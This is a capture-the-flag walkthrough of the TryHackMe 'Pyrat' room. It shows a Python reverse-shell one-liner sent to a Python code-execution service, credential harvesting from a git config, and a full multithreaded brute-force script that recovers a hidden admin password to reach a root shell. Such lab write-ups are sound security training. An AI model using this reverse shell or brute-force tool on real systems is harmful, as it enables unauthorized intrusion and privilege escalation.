Post

Pyrat - tryhackme, josemlwdf

Pyrat - tryhackme, josemlwdf

Test your enumeration skills on this boot-to-root machine.

pyrat.png

Pyrat is an Easy room that presents a unique challenge involving a Python-based HTTP server. At first glance, the server’s responses appear unusual, hinting at something more beneath the surface. Through careful testing and fuzzing, I uncover a critical Python code execution! This allows me to gain an initial foothold on the target machine.


Nmap Scan

To begin, I performed an Nmap scan to identify open ports and services running on the target machine. This helps gather crucial information about potential entry points for exploitation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions:
|     invalid syntax (<string>, line 1)
|   GetRequest:
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     name 'OPTIONS' is not defined
|   Help:
|_    name 'HELP' is not defined
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan revealed two open ports.

  • Port 22 (SSH) Service: OpenSSH 8.2p1 (Ubuntu 4ubuntu0.7) Host Keys: RSA, ECDSA, ED25519 This suggests the system is running Ubuntu Linux, and SSH access might be useful later if valid credentials are found.

  • Port 8000 (Python HTTP Server) Service: SimpleHTTP/0.6 running on Python 3.11.2 The server responds with errors indicating that it may be executing Python code directly. The fingerprint-strings output hints at potential command execution vulnerabilities, as it throws Python syntax errors when unexpected input is sent.


When I navigated to http://pyrat.thm:8000, the server responded with the message: trybasicconnection.png

After this i tried it with curl.

1
2
3
4
5
6
7
8
curl http://pyrat.thm:8000/ -i
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: Wed Feb 12 13:06:14  2025
Content-type: text/html; charset=utf-8
Content-Length: 27

Try a more basic connection

One detail that immediately caught my attention was the server banner. SimpleHTTP/0.6 Python/3.11.2 This indicated that the service was running Python’s built-in HTTP server, but its behavior seemed unusual. The response body remained the same. Try a more basic connection

This message suggested that the server might not be expecting a traditional browser-based request. Instead, it could be handling connections differently—perhaps requiring a raw or simplified client interaction.


netcat

Given the nature of the server, I decided to test it using netcat (nc) to establish a more direct connection, & confirm whether the server was truly running a Python environment and executing user input dynamically, I conducted a simple test, I entered the following arithmetic operation.

1
2
3
nc pyrat.thm 8000
print(4+4)
8

And sure enough, it returned the expected result, confirming that the server was executing Python code. With this, I realized that Code Execution, meaning i can leverage this to gain a foothold using a Python reverse shell payload.

To construct the Python reverse shell, I used the website RevShells, which provides a variety of pre-generated payloads for different environments. This allowed me to quickly generate a working Python reverse shell.

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Ensuring a seamless connection back to my listener.

1
2
3
4
5
nc -lvnp 9999
listening on [any] 9999 ...
connect to [XX.XX.XX.XXX] from (UNKNOWN) [XX.XX.XXX.XX] 50544
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ ls

With further digging, I discovered a password hidden within the /opt/dev/.git/config file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@Pyrat:~$ cat /opt/dev/.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = [REDACTED]

SSH

Using the extracted password, I successfully established an ssh connection as the user think.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssh think@pyrat.thm
think@pyrat.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)

  System information as of Wed 12 Feb 2025 01:53:03 PM UTC

  System load:  0.08              Processes:             133
  Usage of /:   46.8% of 9.75GB   Users logged in:       0
  Memory usage: 49%               IPv4 address for eth0: 10.10.186.245
  Swap usage:   0%

You have mail.
think@Pyrat:~$ cat user.txt
[REDACTED]

Once inside, I navigated through the system files and captured the user flag, marking the first milestone. However, the root flag was still out of reach, requiring further privilege escalation to gain full control over the machine.


Privilege Escalation

While exploring the user’s mail, I stumbled upon an interesting message that caught my attention. The email referenced a RAT program running on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
think@Pyrat:~$ cat /var/mail/think
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page,
i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

Upon inspecting the running processes, I discovered /root/pyrat.py, which is most likely the RAT program mentioned in the mail.

1
2
root 596 0.0 0.1  2608   596 ? Ss 12:09 0:00 /bin/sh -c python3 /root/pyrat.py 2>/dev/null
root 597 0.0 3.0 21864 14660 ? S  12:09 0:04 python3 /root/pyrat.py

Returning to the Git repository and examining the commit history, I found that only a single commit.

1
2
3
4
5
6
7
think@Pyrat:/opt/dev$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint
think@Pyrat:/opt/dev$ 

Inspecting the changes made in the Git commit, I find a code from what appears to be an earlier version of the pyrat.py program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
think@Pyrat:/opt/dev$ git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................

Examining the code snippet & it’s functions.

  • Unknown input triggers an admin check; unauthorized sockets get downgraded.
  • shell spawns an interactive shell for remote access.
  • Other inputs run via exec, enabling arbitrary code execution.

Knowing this, we can craft a simple script to brute-force valid inputs and passwords using a wordlist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

import argparse
import threading
from pwn import remote, context

stop_flag = threading.Event()
valid_input = None

def brute_force(target_ip, target_port, wordlist, mode):
    """Brute-force inputs or passwords."""
    global valid_input
    context.log_level = "error"

    for word in wordlist:
        if stop_flag.is_set():
            return

        try:
            r = remote(target_ip, target_port, timeout=3)
            if mode == "input":
                r.sendline(word.encode())
                response = r.recvline(timeout=2)
                if b'not defined' not in response \
                and b'<string>' not in response and response.strip():
                    valid_input = word
                    stop_flag.set()
                    print(f"Valid input found: {word}")
            else:
                r.sendline(valid_input.encode())
                r.recvuntil(b"Password:\n")
                r.sendline(word.encode())
                response = r.recvline(timeout=2)
                if b"shell" in response:
                    print(f"Password found: {word}")
                    stop_flag.set()
            r.close()
        except:
            pass

def run_threads(target_ip, target_port, wordlist, mode, num_threads):
    """Run brute-force with multiple threads."""
    words = [line.strip() for line in open(wordlist)]
    step = (len(words) + num_threads - 1) // num_threads
    threads = [threading.Thread(target=brute_force, 
    args=(target_ip, target_port, words[i * step:(i + 1) \
    * step], mode)) for i in range(num_threads)]
    for thread in threads: thread.start()
    for thread in threads: thread.join()

def main():
    parser = argparse.ArgumentParser(description="Multi-threaded Brute-Force Tool")
    parser.add_argument("-t", "--target", required=True, help="Target IP")
    parser.add_argument("-p", "--port", type=int, required=True, help="Target Port")
    parser.add_argument("-u", "--userlist", required=True, help="Input Wordlist")
    parser.add_argument("-P", "--passlist", required=True, help="Password Wordlist")
    parser.add_argument("-n", "--threads", type=int, default=10, help="Threads")
    args = parser.parse_args()

    print(f"Target: {args.target}:{args.port}\nStarting input brute-force...")
    run_threads(args.target, args.port, args.userlist, "input", args.threads)

    if valid_input:
        print(f"\nStarting password brute-force for '{valid_input}'...")
        stop_flag.clear()
        run_threads(args.target, args.port, args.passlist, "password", args.threads)
    else:
        print("No valid input found.")

if __name__ == "__main__":
    main()

Running the script successfully reveals the valid input and password.

1
2
3
4
5
6
7
8
9
10
11
python3 inputpassbrute.py -t pyrat.htb -p 8000 \
-u /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/500-worst-passwords.txt \
-n 100

Target: pyrat.htb:8000
Starting input Bruteforce...
Valid input Found: admin

Starting Password Bruteforce for 'admin'...
Password Found: [REDACTED]

Now, using that valid input & password, i escalate the connection to root.

1
2
3
4
5
6
7
nc pyrat.thm 8000
admin
Password: [REDACTED]
Welcome Admin!!! Type "shell" to begin
shell
cat root.txt
[REDACTED]

After capturing the root flag, pyroot-solved.png I successfully solved the Pyrat room!

Happy hacking !

Here are some resources:

This post is licensed under CC BY 4.0 by the author.